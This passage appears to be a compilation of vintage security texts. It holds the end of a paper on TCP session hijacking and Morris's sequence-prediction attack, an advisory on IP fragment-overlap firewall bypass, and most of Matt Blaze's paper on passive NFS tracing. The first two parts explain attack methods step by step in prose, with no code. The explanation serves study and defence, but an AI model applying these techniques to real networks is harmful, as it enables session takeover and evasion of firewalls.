sniffer buffer are overflowed by the traffic. - One can think of just watching the session and sending some data to the server, without caring about creating the desynchronized state and forwarding the TCP packets. Though it will succeed in corrupting the host that approach is likely to be detected early by the user. Indeed the TCP session will not be able to exchange data once the command sent. 6. Prevention The only ways known by the writer currently available to prevent such an attack on a telnet session are the encrypted Kerberos scheme (application layer) or the TCP crypt implementation [TCPcrypt] (TCP layer). Encryption of the data flow prevents any intrusion or modification of the content. Signature of the data can also be used. [pgp] is an example of an available way to secure electronic mail transmission. 7. Morris' Attack Reviewed Morris' attack as described in [morris85] assumes that the attacker can predict the next initial sequence number used by the server (noted SVR_SEQ_0 in this document) and that the identification scheme is based on trusted hosts (which means only certain hosts are allowed to perform some commands on the server without any other identification process being needed). In this attack the cracker initiates the session by sending a SYN packet to the server using the client (trusted host) as the source address. The server acknowledge the SYN with a SYN\/ACK packet with SEG_SEQ = SVR_SEQ_0. The attacker then acknowledges that packet in guessing SVR_SEQ_0. The cracker does not need to sniff the client packets as long as he can predict SVR_SEQ_0 in order to acknowledge it. This attack has two main flaws: - The client whom the attacker masquerades will receive the SYN\/ACK packet from the server and then could generate a RST packet to the server since in the client's view no session yet exists. Morris supposes that one can stop the RST generation by either performing the attack when the client is down or by overflowing the client's TCP queue so the SYN\/ACK packet will be lost. - The attacker cannot receive data from the server. But he can send data which is sometime enough to compromise a host. The are four principal differences between Morris' attack and the present one: - Morris's relies on the trusted hosts identification scheme whereas the present attack lets the user conduct the identification stage of the connection. - The present attack is a full duplex TCP stream. The attacker can send and receive data. - The present attack uses the ethernet sniffer to predict (or just get) SVR_SEQ_0. - The present attack can be used against any kind of host besides Unix hosts. Morris' attack can easily be extented in regard of the present attack: - The sniffer is used to get the server's initial sequence number. Morris' attack can then be performed against the server. The attacker do not need to wait for a client to connect. - Considering that the client will not send RST packets (for example it is down) the attacker can establish a full duplex TCP connection with the server. It can send data and receive data on behalf of the client. Of course the cracker still has to pass the identification barrier. If the identification is based on trusted hosts (like NFS or rlogin) the cracker has full access to the host's services. Steven M. Bellovin in [bellovin89] also presents how ICMP packets can be used to disable one side of the connection. In this case the attacker gets full control of the session (people have referred to 'TCP session hijacking'), but this is too easily detected by the user. 8. Conclusion Although easy to detect when used on a local network, the attack presented here is quite efficient on long distance, low bandwidth, high delay networks (usually WAN). It can be carried with the same resources as for a passive sniffing attack which have occurred so frequently on the Internet . This attack has also the dangerous advantage of being invisible to the user. While cracking into a host on the Internet is becoming more and more frequent, the stealthfulness of the attack is now a very important parameter for the success of the attack and makes it more difficult to detect. When everybody's attention in the Internet is focused on the emerging new IPv6 protocol to replace the current IPv4, increasing attacks and the need for secure systems press us to develop and use a secure transport layer for the Internet community. Options should be available to send signed and eventually encrypted data to provide privacy. And since the signature of the data implies reliability the signature can be substituted to the current TCP checksum. This paper does not attempt to explain all cases of active attacks using a sniffer. It is more a warning for people using s\/key or Kerberos against the danger of someone sniffing the ethernet. It provides a few ideas and starting points which can be more deeply studied. The method presented has been successfully used during our test even with a very simple attacker's software. [Bellovin89] \"Security Problems in the TCP\/IP Protocol Suite\", Bellovin, S., Computer Communications Review, April 1989. [Kerberos] \"Kerberos: An Authentication Service for Open Network Systems\", Steiner, J., Neuman, C., Schiller, J., USENIX Conference Proceeding, Dallas, Texas, February 1989. [Morris85] \"A Weakness in the 4.2BSD UNIX TCP\/IP Software\", Morris, R., Computing Science Technical Report No 117, ATT Bell Laboratories, Murray Hill, New Jersey, 1985. [PGP] Pretty Good Privacy Version 2.6.1, Philip Zimmermann, August 1994. [RFC 793] Request For Comment 793, Transmission Control Protocol'', September 1981, J. Postel. [RFC 854] Request For Comment 854, `Telnet Protocol Specification'', May 1983, J. Postel, J. Reynolds [SKEY] \"The S\/Key One-time Password System\", Haller, N., Proceeding of the Symposium on Network Distributed Systems, Security, Internet Society, San Diego, CA, February 1994. [TCPcrypt] \"Public Key Encryption Support for TCP\", Joncheray, L., Work in progress, May 1995. [TCPDUMP] tcpdump(8) Version 2.2.1, Van Jacobson, Craig Leres, Steven Berkeley, University of California, Berkeley, CA. ___________________________________________________________________________ ___________________________________________________________________________ This is the original text file that I found: TCP packet fragment attacks against firewalls and filters *********************************************************************** ADVISORY: TCP packet fragment attacks against firewalls and filters System: TCP\/IP networks Source: http:\/\/all.net, Dr. Frederick B. Cohen *********************************************************************** Packet Fragmentation Attacks Introduction to Packet Fragmentation Packet fragmentation is the part of the Internet Protocol (IP) suite of networking protocols that assures that IP datagrams can flow through any other sort of network. (For details, see Internet Request For Comments 791 (rfc791) and are available and searchable in electronic form from Info-Sec heaven on the World-Wide-Web at http:\/\/all.net, through gopher service at all.net, or by ftp service from rs.internic.net.) Fragmentation works by allowing datagrams created as a single packet to be split into many smaller packets for transmission and reassembled at the receiving host. Packet fragmentation is necessary because underlying the IP protocol, other physical and or logical protocols are used to transport packets through networks. A good example of this phenomena is on the difference between Ethernet packets (which are limited to 1024 bytes), ATM packets (which are limited to 56 bytes), and IP packets which have variable sizes up to about 1\/2 million bytes in length. The only exception to this rule is in the case of an internet datagram marked don't fragment . Any internet datagram marked in this way is supposed to not be fragmented under any circumstances. If internet datagrams marked don't fragment cannot be delivered to their destination without being fragmented, they are supposed to be discarded instead. Of course, this rule doesn't have to be obeyed by the IP software actually processing packets, but it is supposed to be. How Packet Reassembly Attacks Work The packet fragmentation mechanism leads to attacks that bypass many current Internet firewalls, but the reason these attacks work is not because of the way fragmentation is done, but rather because of the way datagrams are reassembled. Datagrams are supposed to be fragmented into packets that leave the header portion of the packet intact except for the modification of the fragmented packet bit and the filling in of an offset field in the IP header that indicates at which byte in the whole datagram the current packet is supposed to start. In reassembly, the IP reassembler creates a temporary packet with the fragmented part of the datagram in place and adds incoming fragments by placing their data fields at the specified offsets within the datagram being reassembled. Once the whole datagram is reassembled, it is processed as if it came in as a single packet. According to the IP specification, fragmented packets are to be reassembled at the receiving host. This presumably means that they are not supposed to be reassembled at intermediate sites such as firewalls or routers. This decision was made presumably to prevent repeated reassembly and refragmentation in intermediate networks. When routers and firewalls followed the rules, they found a peculiar problem. The way firewalls and routers block specific services (such as telnet ) while allowing other services (such as the world wide web http service) is by looking into the IP packet to determine which Transfer Control Protocol (TCP) port is being used. If the port corresponds to 80, the datagram is destined for http service, while port 23 is used for telnet . In normal datagrams, this works fine. But suppose we didn't follow the rules for fragmentation and created improper fragmented packets? Here's what one attacker did: * Create an initial packet which claims to be the first fragment of a multi-packet datagram. Specify TCP port 80 in the TCP header so it looks like a datagram going to http service, which is allowed to pass the firewall. * The firewall passes the packet to the host under attack and passes subsequent packet fragments in order to allow the destination host to reassemble the packet. * One of the subsequent packets has an offset of 0 which causes the reassembler to overwrite the initial part of the IP packet. This is the part of the IP packet that specifies the TCP port. The attacker overwrites the IP port number which was originally 80 with a new port number such as 23, and is now granted telnet access to the host under attack despite the firewall that is supposed to block the service. _________________________________________________________________________ NFS Tracing By Passive Network Monitoring Author: Matt Blaze Department of Computer Science Princeton University mab@cs.princeton.edu ABSTRACT Traces of filesystem activity have proven to be useful for a wide variety of purposes, ranging from quantitative analysis of system behavior to trace-driven simulation of filesystem algorithms. Such traces can be difficult to obtain, however, usually entailing modification of the filesystems to be monitored and runtime overhead for the period of the trace. Largely because of these difficulties, a surprisingly small number of filesystem traces have been conducted, and few sample workloads are available to filesystem researchers. This paper describes a portable toolkit for deriving approximate traces of NFS [1] activity by non-intrusively monitoring the Ethernet traffic to and from the file server. The toolkit uses a promiscuous Ethernet listener interface (such as the Packetfilter[2]) to read and reconstruct NFS-related RPC packets intended for the server. It produces traces of the NFS activity as well as a plausible set of corresponding client system calls. The tool is currently in use at Princeton and other sites, and is available via anonymous ftp. 1. Motivation Traces of real workloads form an important part of virtually all analysis of computer system behavior, whether it is program hot spots, memory access patterns, or filesystem activity that is being studied. In the case of filesystem activity, obtaining useful traces is particularly challenging. Filesystem behavior can span long time periods, often making it necessary to collect huge traces over weeks or even months. Modification of the filesystem to collect trace data is often difficult, and may result in unacceptable runtime overhead. Distributed filesystems exa cerbate these difficulties, especially when the network is composed of a large number of heterogeneous machines. As a result of these difficulties, only a relatively small number of traces of Unix filesystem workloads have been conducted, primarily in computing research environments. [3], [4] and [5] are examples of such traces. Since distributed filesystems work by transmitting their activity over a network, it would seem reasonable to obtain traces of such systems by placing a \"tap\" on the network and collecting trace data based on the network traffic. Ethernet[6] based networks lend themselves to this approach particularly well, since traffic is broadcast to all machines connected to a given subnetwork. A number of general-purpose network monitoring tools are avail able that \"promiscuously\" listen to the Ethernet to which they are connected; Sun's etherfind[7] is an example of such a tool. While these tools are useful for observing (and collecting statistics on) specific types of packets, the information they provide is at too low a level to be useful for building filesystem traces. Filesystem operations may span several packets, and may be meaningful only in the context of other, previous operations. Some work has been done on characterizing the impact of NFS traffic on network load. In [8], for example, the results of a study are reported in which Ethernet traffic was monitored and statistics gathered on NFS activity. While useful for understanding traffic patterns and developing a queueing model of NFS loads, these previous stu dies do not use the network traffic to analyze the file access traffic patterns of the system, focusing instead on developing a statistical model of the individual packet sources, destinations, and types. This paper describes a toolkit for collecting traces of NFS file access activity by monitoring Ethernet traffic. A \"spy\" machine with a promiscuous Ethernet interface is connected to the same network as the file server. Each NFS-related packet is analyzed and a trace is produced at an appropriate level of detail. The tool can record the low level NFS calls themselves or an approximation of the user-level system calls (open, close, etc.) that triggered the activity. We partition the problem of deriving NFS activity from raw network traffic into two fairly distinct subprob lems: that of decoding the low-level NFS operations from the packets on the network, and that of translating these low-level commands back into user-level system calls. Hence, the toolkit consists of two basic parts, an \"RPC decoder\" (rpcspy) and the \"NFS analyzer\" (nfstrace). rpcspy communicates with a low-level network monitoring facility (such as Sun's NIT [9] or the Packetfilter [2]) to read and reconstruct the RPC transactions (call and reply) that make up each NFS command. nfstrace takes the output of rpcspy and reconstructs the sys tem calls that occurred as well as other interesting data it can derive about the structure of the filesystem, such as the mappings between NFS file handles and Unix file names. Since there is not a clean one-to-one mapping between system calls and lower-level NFS commands, nfstrace uses some simple heuristics to guess a reasonable approximation of what really occurred. 1.1. A Spy's View of the NFS Protocols It is well beyond the scope of this paper to describe the protocols used by NFS; for a detailed description of how NFS works, the reader is referred to [10], [11], and [12]. What follows is a very brief overview of how NFS activity translates into Ethernet packets. An NFS network consists of servers, to which filesystems are physically connected, and clients, which per form operations on remote server filesystems as if the disks were locally connected. A particular machine can be a client or a server or both. Clients mount remote server filesystems in their local hierarchy just as they do local filesystems; from the user's perspective, files on NFS and local filesystems are (for the most part) indistinguishable, and can be manipulated with the usual filesystem calls. The interface between client and server is defined in terms of 17 remote procedure call (RPC) operations. Remote files (and directories) are referred to by a file handle that uniquely identifies the file to the server. There are operations to read and write bytes of a file (read, write), obtain a file's attributes (getattr), obtain the contents of directories (lookup, readdir), create files (create), and so forth. While most of these operations are direct analogs of Unix system calls, notably absent are open and close operations; no client state information is maintained at the server, so there is no need to inform the server explicitly when a file is in use. Clients can maintain buffer cache entries for NFS files, but must verify that the blocks are still valid (by checking the last write time with the getattr operation) before using the cached data. An RPC transaction consists of a call message (with arguments) from the client to the server and a reply mes sage (with return data) from the server to the client. NFS RPC calls are transmitted using the UDP\/IP connection less unreliable datagram protocol[13]. The call message contains a unique transaction identifier which is included in the reply message to enable the client to match the reply with its call. The data in both messages is encoded in an \"external data representation\" (XDR), which provides a machine-independent standard for byte order, etc. Note that the NFS server maintains no state information about its clients, and knows nothing about the context of each operation outside of the arguments to the operation itself. 2. The rpcspy Program rpcspy is the interface to the system-dependent Ethernet monitoring facility; it produces a trace of the RPC calls issued between a given set of clients and servers. At present, there are versions of rpcspy for a number of BSD-derived systems, including ULTRIX (with the Packetfilter[2]), SunOS (with NIT[9]), and the IBM RT running AOS (with the Stanford enet filter). For each RPC transaction monitored, rpcspy produces an ASCII record containing a timestamp, the name of the server, the client, the length of time the command took to execute, the name of the RPC command executed, and the command- specific arguments and return data. Currently, rpcspy understands and can decode the 17 NFS RPC commands, and there are hooks to allow other RPC services (for example, NIS) to be added reasonably easily. The output may be read directly or piped into another program (such as nfstrace) for further analysis; the for mat is designed to be reasonably friendly to both the human reader and other programs (such as nfstrace or awk). Since each RPC transaction consists of two messages, a call and a reply, rpcspy waits until it receives both these components and emits a single record for the entire transaction. The basic output format is 8 vertical-bar separated fields: timestamp | execution-time | server | client | command-name | arguments | reply-data where timestamp is the time the reply message was received, execution-time is the time (in microseconds) that elapsed between the call and reply, server is the name (or IP address) of the server, client is the name (or IP address) of the client followed by the userid that issued the command, command-name is the name of the particular program invoked (read, write, getattr, etc.), and arguments and reply-data are the command dependent arguments and return values passed to and from the RPC program, respectively. The exact format of the argument and reply data is dependent on the specific command issued and the level of detail the user wants logged. For example, a typical NFS command is recorded as follows: 690529992.167140 | 11717 | paramount | merckx.321 | read | {\"7b1f00000000083c\", 0, 8192} | ok, 1871 In this example, uid 321 at client \"merckx\" issued an NFS read command to server \"paramount\". The reply was issued at (Unix time) 690529992.167140 seconds; the call command occurred 11717 microseconds earlier. Three arguments are logged for the read call: the file handle from which to read (represented as a hexadecimal string), the offset from the beginning of the file, and the number of bytes to read. In this example, 8192 bytes are requested starting at the beginning (byte 0) of the file whose handle is \"7b1f00000000083c\". The command completed successfully (status \"ok\"), and 1871 bytes were returned. Of course, the reply message also included the 1871 bytes of data from the file, but that field of the reply is not logged by rpcspy. rpcspy has a number of configuration options to control which hosts and RPC commands are traced, which call and reply fields are printed, which Ethernet interfaces are tapped, how long to wait for reply messages, how long to run, etc. While its primary function is to provide input for the nfstrace program (see Section 3), judi cious use of these options (as well as such programs as grep, awk, etc.) permit its use as a simple NFS diag nostic and performance monitoring tool. A few screens of output give a surprisingly informative snapshot of current NFS activity; we have identified quickly using the program several problems that were otherwise difficult to pinpoint. Similarly, a short awk script can provide a breakdown of the most active clients, servers, and hosts over a sampled time period. 2.1. Implementation Issues The basic function of rpcspy is to monitor the network, extract those packets containing NFS data, and print the data in a useful format. Since each RPC transaction consists of a call and a reply, rpcspy maintains a table of pending call packets that are removed and emitted when the matching reply arrives. In normal operation on a reasonably fast workstation, this rarely requires more than about two megabytes of memory, even on a busy net work with unusually slow file servers. Should a server go down, however, the queue of pending call messages (which are never matched with a reply) can quickly become a memory hog; the user can specify a maximum size the table is allowed to reach before these \"orphaned\" calls are searched out and reclaimed. File handles pose special problems. While all NFS file handles are a fixed size, the number of significant bits varies from implementation to implementation; even within a vendor, two different releases of the same operating system might use a completely different internal handle format. In most Unix implementations, the handle contains a filesystem identifier and the inode number of the file; this is sometimes augmented by additional information, such as a version number. Since programs using rpcspy output generally will use the handle as a unique file identifier, it is important that there not appear to be more than one handle for the same file. Unfortunately, it is not sufficient to simply consider the handle as a bitstring of the maximum handle size, since many operating systems do not zero out the unused extra bits before assigning the handle. Fortunately, most servers are at least consistent in the sizes of the handles they assign. rpcspy allows the user to specify (on the command line or in a startup file) the handle size for each host to be monitored. The handles from that server are emitted as hexadecimal strings truncated at that length. If no size is specified, a guess is made based on a few common formats of a reasonable size. It is usually desirable to emit IP addresses of clients and servers as their symbolic host names. An early ver sion of the software simply did a nameserver lookup each time this was necessary; this quickly flooded the network with a nameserver request for each NFS transaction. The current version maintains a cache of host names; this requires a only a modest amount of memory for typical networks of less than a few hundred hosts. For very large networks or those where NFS service is provided to a large number of remote hosts, this could still be a potential problem, but as a last resort remote name resolution could be disabled or rpcspy configured to not translate IP addresses. UDP\/IP datagrams may be fragmented among several packets if the datagram is larger than the maximum size of a single Ethernet frame. rpcspy looks only at the first fragment; in practice, fragmentation occurs only for the data fields of NFS read and write transactions, which are ignored anyway. 3. nfstrace: The Filesystem Tracing Package Although rpcspy provides a trace of the low-level NFS commands, it is not, in and of itself, sufficient for obtaining useful filesystem traces. The low-level commands do not by themselves reveal user-level activity. Furth ermore, the volume of data that would need to be recorded is potentially enormous, on the order of megabytes per hour. More useful would be an abstraction of the user-level system calls underlying the NFS activity. nfstrace is a filter for rpcspy that produces a log of a plausible set of user level filesystem commands that could have triggered the monitored activity. A record is produced each time a file is opened, giving a summary of what occurred. This summary is detailed enough for analysis or for use as input to a filesystem simulator. The output format of nfstrace consists of 7 fields: timestamp | command-time | direction | file-id | client | transferred | size where timestamp is the time the open occurred, command-time is the length of time between open and close, direc tion is either read or write (mkdir and readdir count as write and read, respectively). file-id identifies the server and the file handle, client is the client and user that performed the open, transferred is the number of bytes of the file actually read or written (cache hits have a 0 in this field), and size is the size of the file (in bytes). An example record might be as follows: 690691919.593442 | 17734 | read | basso:7b1f00000000400f | frejus.321 | 0 | 24576 Here, userid 321 at client frejus read file 7b1f00000000400f on server basso. The file is 24576 bytes long and was able to be read from the client cache. The command started at Unix time 690691919.593442 and took 17734 microseconds at the server to execute. Since it is sometimes useful to know the name corresponding to the handle and the mode information for each file, nfstrace optionally produces a map of file handles to file names and modes. When enough information (from lookup and readdir commands) is received, new names are added. Names can change over time (as files are deleted and renamed), so the times each mapping can be considered valid is recorded as well. The mapping infor mation may not always be complete, however, depending on how much activity has already been observed. Also, hard links can confuse the name mapping, and it is not always possible to determine which of several possible names a file was opened under. What nfstrace produces is only an approximation of the underlying user activity. Since there are no NFS open or close commands, the program must guess when these system calls occur. It does this by taking advantage of the observation that NFS is fairly consistent in what it does when a file is opened. If the file is in the local buffer cache, a getattr call is made on the file to verify that it has not changed since the file was cached. Otherwise, the actual bytes of the file are fetched as they are read by the user. (It is possible that part of the file is in the cache and part is not, in which case the getattr is performed and only the missing pieces are fetched. This occurs most often when a demand-paged executable is loaded). nfstrace assumes that any sequence of NFS read calls on the same file issued by the same user at the same client is part of a single open for read. The close is assumed to have taken place when the last read in the sequence completes. The end of a read sequence is detected when the same client reads the beginning of the file again or when a timeout with no reading has elapsed. Writes are handled in a similar manner. Reads that are entirely from the client cache are a bit harder; not every getattr command is caused by a cache read, and a few cache reads take place without a getattr. A user level stat system call can sometimes trigger a getattr, as can an ls -l command. Fortunately, the attribute caching used by most implementations of NFS seems to eliminate many of these extraneous getattrs, and ls commands appear to trigger a lookup command most of the time. nfstrace assumes that a getattr on any file that the client has read within the past few hours represents a cache read, otherwise it is ignored. This simple heuristic seems to be fairly accurate in practice. Note also that a getattr might not be performed if a read occurs very soon after the last read, but the time threshold is generally short enough that this is rarely a problem. Still, the cached reads that nfstrace reports are, at best, an estimate (generally erring on the side of over-reporting). There is no way to determine the number of bytes actually read for cache hits. The output of nfstrace is necessarily produced out of chronological order, but may be sorted easily by a post-processor. nfstrace has a host of options to control the level of detail of the trace, the lengths of the timeouts, and so on. To facilitate the production of very long traces, the output can be flushed and checkpointed at a specified inter val, and can be automatically compressed. 4. Using rpcspy and nfstrace for Filesystem Tracing Clearly, nfstrace is not suitable for producing highly accurate traces; cache hits are only estimated, the timing information is imprecise, and data from lost (and duplicated) network packets are not accounted for. When such a highly accurate trace is required, other approaches, such as modification of the client and server kernels, must be employed. The main virtue of the passive-monitoring approach lies in its simplicity. In [5], Baker, et al, describe a trace of a distributed filesystem which involved low-level modification of several different operating system kernels. In contrast, our entire filesystem trace package consists of less than 5000 lines of code written by a single programmer in a few weeks, involves no kernel modifications, and can be installed to monitor multiple heterogeneous servers and clients with no knowledge of even what operating systems they are running. The most important parameter affecting the accuracy of the traces is the ability of the machine on which rpcspy is running to keep up with the network traffic. Although most modern RISC workstations with reasonable Ethernet interfaces are able to keep up with typical network loads, it is important to determine how much informa tion was lost due to packet buffer overruns before relying upon the trace data. It is also important that the trace be, indeed, non-intrusive. It quickly became obvious, for example, that logging the traffic to an NFS filesystem can be problematic. Another parameter affecting the usefulness of the traces is the validity of the heuristics used to translate from RPC calls into user-level system calls. To test this, a shell script was written that performed ls -l, touch, cp and wc commands randomly in a small directory hierarchy, keeping a record of which files were touched and read and at what time. After several hours, nfstrace was able to detect 100% of the writes, 100% of the uncached reads, and 99.4% of the cached reads. Cached reads were over-reported by 11%, even though ls com mands (which cause the \"phantom\" reads) made up 50% of the test activity. While this test provides encouraging evidence of the accuracy of the traces, it is not by itself conclusive, since the particular workload being monitored may fool nfstrace in unanticipated ways. As in any research where data are collected about the behavior of human subjects, the privacy of the individu als observed is a concern. Although the contents of files are not logged by the toolkit, it is still possible to learn something about individual users from examining what files they read and write. At a minimum, the users of a mon itored system should be informed of the nature of the trace and the uses to which it will be put. In some cases, it may be necessary to disable the name translation from nfstrace when the data are being provided to others. Commercial sites where filenames might reveal something about proprietary projects can be particularly sensitive to such concerns. 5. A Trace of Filesystem Activity in the Princeton C.S. Department A previous paper[14] analyzed a five-day long trace of filesystem activity conducted on 112 research worksta tions at DEC-SRC. The paper identified a number of file access properties that affect filesystem caching perfor mance; it is difficult, however, to know whether these properties were unique artifacts of that particular environment or are more generally applicable. To help answer that question, it is necessary to look at similar traces from other computing environments. It was relatively easy to use rpcspy and nfstrace to conduct a week long trace of filesystem activity in the Princeton University Computer Science Department. The departmental computing facility serves a community of approximately 250 users, of which about 65% are researchers (faculty, graduate students, undergraduate researchers, postdoctoral staff, etc), 5% office staff, 2% systems staff, and the rest guests and other \"external\" users. About 115 of the users work full-time in the building and use the system heavily for electronic mail, netnews, and other such communication services as well as other computer science research oriented tasks (editing, compiling, and executing programs, formatting documents, etc). The computing facility consists of a central Auspex file server (fs) (to which users do not ordinarily log in directly), four DEC 5000\/200s (elan, hart, atomic and dynamic) used as shared cycle servers, and an assortment of dedicated workstations (NeXT machines, Sun workstations, IBM-RTs, Iris workstations, etc.) in indi vidual offices and laboratories. Most users log in to one of the four cycle servers via X window terminals located in offices; the terminals are divided evenly among the four servers. There are a number of Ethernets throughout the building. The central file server is connected to a \"machine room network\" to which no user terminals are directly connected; traffic to the file server from outside the machine room is gatewayed via a Cisco router. Each of the four cycle servers has a local \/, \/bin and \/tmp filesystem; other filesystems, including \/usr, \/usr\/local, and users' home directories are NFS mounted from fs. Mail sent from local machines is delivered locally to the (shared) fs:\/usr\/spool\/mail; mail from outside is delivered directly on fs. The trace was conducted by connecting a dedicated DEC 5000\/200 with a local disk to the machine room net work. This network carries NFS traffic for all home directory access and access to all non-local cycle-server files (including the most of the actively-used programs). On a typical weekday, about 8 million packets are transmitted over this network. nfstrace was configured to record opens for read and write (but not directory accesses or individual reads or writes). After one week (wednesday to wednesday), 342,530 opens for read and 125,542 opens for write were recorded, occupying 8 MB of (compressed) disk space. Most of this traffic was from the four cycle servers. No attempt was made to \"normalize\" the workload during the trace period. Although users were notified that file accesses were being recorded, and provided an opportunity to ask to be excluded from the data collection, most users seemed to simply continue with their normal work. Similarly, no correction is made for any anomalous user activity that may have occurred during the trace. 5.1. The Workload Over Time Intuitively, the volume of traffic can be expected to vary with the time of day. Figure 1 shows the number of reads and writes per hour over the seven days of the trace; in particular, the volume of write traffic seems to mirror the general level of departmental activity fairly closely. An important metric of NFS performance is the client buffer cache hit rate. Each of the four cycle servers allocates approximately 6MB of memory for the buffer cache. The (estimated) aggregate hit rate (percentage of reads served by client caches) as seen at the file server was surprisingly low: 22.2% over the entire week. In any given hour, the hit rate never exceeded 40%. Figure 2 plots (actual) server reads and (estimated) cache hits per hour over the trace week; observe that the hit rate is at its worst during periods of the heaviest read activity. Past studies have predicted much higher hit rates than the aggregate observed here. It is probable that since most of the traffic is generated by the shared cycle servers, the low hit rate can be attributed to the large number of users competing for cache space. In fact, the hit rate was observed to be much higher on the single-user worksta tions monitored in the study, averaging above 52% overall. This suggests, somewhat counter-intuitively, that if more computers were added to the network (such that each user had a private workstation), the server load would decrease considerably. Figure 3 shows the actual cache misses and estimated cache hits for a typical private works tation in the study. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 1000 2000 3000 4000 5000 6000 Reads\/Writes per hour Writes Reads (all) Figure 1 - Read and Write Traffic Over Time 5.2. File Sharing One property observed in the DEC-SRC trace is the tendency of files that are used by multiple workstations to make up a significant proportion of read traffic but a very small proportion of write traffic. This has important implications for a caching strategy, since, when it is true, files that are cached at many places very rarely need to be invalidated. Although the Princeton computing facility does not have a single workstation per user, a similar metric is the degree to which files read by more than one user are read and written. In this respect, the Princeton trace is very similar to the DEC-SRC trace. Files read by more than one user make up more than 60% of read traffic, but less than 2% of write traffic. Files shared by more than ten users make up less than .2% of write traffic but still more than 30% of read traffic. Figure 3 plots the number of users who have previously read each file against the number of reads and writes. 5.3. File \"Entropy\" Files in the DEC-SRC trace demonstrated a strong tendency to \"become\" read-only as they were read more and more often. That is, the probability that the next operation on a given file will overwrite the file drops off shar ply in proportion to the number of times it has been read in the past. Like the sharing property, this has implications for a caching strategy, since the probability that cached data is valid influences the choice of a validation scheme. Again, we find this property to be very strong in the Princeton trace. For any file access in the trace, the probability that it is a write is about 27%. If the file has already been read at least once since it was last written to, the write probability drops to 10%. Once the file has been read at least five times, the write probability drops below 1%. Fig ure 4 plots the observed write probability against the number of reads since the last write. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 1000 2000 3000 4000 5000 Total reads per hour Cache Hits (estimated) Cache Misses (actual) Figure 2 - Cache Hits and Misses Over Time 6. Conclusions Although filesystem traces are a useful tool for the analysis of current and proposed systems, the difficulty of collecting meaningful trace data makes such traces difficult to obtain. The performance degradation introduced by the trace software and the volume of raw data generated makes traces over long time periods and outside of comput ing research facilities particularly hard to conduct. Although not as accurate as direct, kernel-based tracing, a passive network monitor such as the one described in this paper can permit tracing of distributed systems relatively easily. The ability to limit the data collected to a high-level log of only the data required can make it practical to conduct traces over several months. Such a long term trace is presently being conducted at Princeton as part of the author's research on filesystem caching. The non-intrusive nature of the data collection makes traces possible at facilities where kernel modification is impracti cal or unacceptable. It is the author's hope that other sites (particularly those not doing computing research) will make use of this toolkit and will make the traces available to filesystem researchers. 7. Availability The toolkit, consisting of rpcspy, nfstrace, and several support scripts, currently runs under several BSD-derived platforms, including ULTRIX 4.x, SunOS 4.x, and IBM-RT\/AOS. It is available for anonymous ftp over the Internet from samadams.princeton.edu, in the compressed tar file nfstrace\/nfstrace.tar.Z. Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00 Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun 12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00 Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 0 100 200 300 Reads per hour Cache Hits (estimated) Cache Misses (actual) Figure 3 - Cache Hits and Misses Over Time - Private Workstation 0 5 10 15 20 n (readers) 0 20 40 60 80 100 % of Reads and Writes used by > n users Reads Writes Figure 4 - Degree of Sharing for Reads and Writes 0 5 10 15 20 Reads Since Last Write 0.0 0.1 0.2 P(next operation is write) Figure 5 - Probability of Write Given >= n Previous Reads 8. Acknowledgments The author would like to gratefully acknowledge Jim Roberts and Steve Beck for their help in getting the trace machine up and running, Rafael Alonso for his helpful comments and direction, and the members of the pro gram committee for their valuable suggestions. Jim Plank deserves special thanks for writing jgraph, the software which produced the figures in this paper. 9. References [1] Sandberg, R., Goldberg, D., Kleiman, S., Walsh, D., & Lyon, B. \"Design and Implementation of the Sun Net work File System.\" Proc. USENIX, Summer, 1985. [2] Mogul, J., Rashid, R., & Accetta, M. \"The Packet Filter: An Efficient Mechanism for User-Level Network Code.\" Proc. 11th ACM Symp. on Operating Systems Principles, 1987. [3] Ousterhout J., et al. \"A Trace-Driven Analysis of the Unix 4.2 BSD File System.\" Proc. 10th ACM Symp. on Operating Systems Principles, 1985. [4] Floyd, R. \"Short-Term File Reference Patterns in a UNIX Environment,\" TR-177 Dept. Comp. Sci, U. of Rochester, 1986. [5] Baker, M. et al. \"Measurements of a Distributed File System,\" Proc. 13th ACM Symp. on Operating Systems Principles, 1991. [6] Metcalfe, R. & Boggs, D. \"Ethernet: Distributed Packet Switching for Local Computer Networks,\" CACM July, 1976. [7] \"Etherfind(8) Manual Page,\" SunOS Reference Manual, Sun Microsystems, 1988. [8] Gusella, R. \"Analysis of Diskless Workstation Traffic on an Ethernet,\" TR-UCB\/CSD-87\/379, University Of California, Berkeley, 1987. [9] \"NIT(4) Manual Page,\" SunOS Reference Manual, Sun Microsystems, 1988. [10] \"XDR Protocol Specification,\" Networking on the Sun Workstation, Sun Microsystems, 1986. [11] \"RPC Protocol Specification,\" Networking on the Sun Workstation, Sun Microsystems, 1986. [12] \"NFS Protocol Specification,\" Networking on the Sun Workstation, Sun Microsystems, 1986. [13] Postel, J. \"User Datagram Protocol,\" RFC 768, Network Information Center, 1980. [14] Blaze, M., and Alonso, R., \"Long-Term Caching Strategies for Very Large Distributed File Systems,\" Proc. Summer 1991 USENIX, 1991. Matt Blaze is a Ph.D. candidate in Computer Science at Princeton University, where he expects to receive his degree in the Spring of 1992. His research interests include distributed systems, operating systems, databases, and programming environments. His current research focuses on caching in very large distributed filesystems. In 1988 he received an M.S. in Computer Science from Columbia University and in 1986 a B.S. from Hunter College. He can be reached via email at mab@cs.princeton.edu or via US mail at Dept. of Computer Science, 